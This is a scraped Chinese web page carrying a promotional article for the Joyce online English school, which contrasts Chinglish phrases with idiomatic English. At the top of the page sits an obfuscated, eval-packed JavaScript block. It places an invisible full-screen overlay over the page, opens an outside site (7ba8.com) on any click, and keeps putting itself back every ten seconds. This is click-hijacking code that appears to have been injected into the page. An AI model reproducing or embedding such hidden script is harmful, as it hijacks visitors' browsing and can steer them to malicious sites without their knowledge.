<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>![]()
说到中式英语，大家都会想到一句经典的“好好学习，天天向上”（good good study day day up），或者是一句搞笑的怎么是你，怎么老是你？（how are you ? how old are you?） 。虽然一般有点英语基础的人看到这些都觉得很小儿科，但殊不知老外在听到一口带有很浓中式腔的英语时，也会bend their brows。
卓语思在线英语（Joyce online）资深教学顾问kelly在多年与中国学生打交道的过程中发现，中国人说英语经常会用中国式的思维去理解，用汉语的习惯去生硬翻译。即受母语的影响很大。比如我们想说祝你有个什么的时候立刻想到的肯定是 wish you have a ... ，想表达一般般时也会立即蹦出just so so，但地道的应该是 not too bad/nothing special。提到中国俗语时，我们表达出来的更是让人贻笑大方，比如一句萝卜青菜，各有所爱，中国人可能会就直译出一大串 Some prefer radish but others prefer cabbage，但地道的只需要两个单词Tastes differ就可以了。
那究竟怎样才能学好地道英语？毫无疑问，就要多听多学真正的native speaker是怎么说的，不然跟着中国老师就算学了十几年英语，也只能是从Chinglish。又比如说“think on one’s feet”和“lick the boots”，如果不懂老外的文化，而是按字面意思直译过来，那就真是牛头不对马嘴了。但往往是万事俱备只欠东风。不是你不想学，而是没地方、没时间、没资源啊。肿么办？致力于用最低的成本、最先进的视频系统提供国外最优秀的师资、高质量教学的卓语思在线英语（Joyce online）可以帮你彻底解决这些问题。不出国门、不出家门就可以学地道英语。只需电脑和网络，就可以把美国本土的外教 “请”回家。卓语思只提供精品VIP课程，1-3人小班教学不仅让你有70%以上张嘴说话的机会，而且充分调动你的神经系统，让你处于随时可能被问到的环境里。相信通过卓语思在线英语（Joyce online）全外教的教学、小班教育的保障，克服Chinglish不是梦~！ |
|
收藏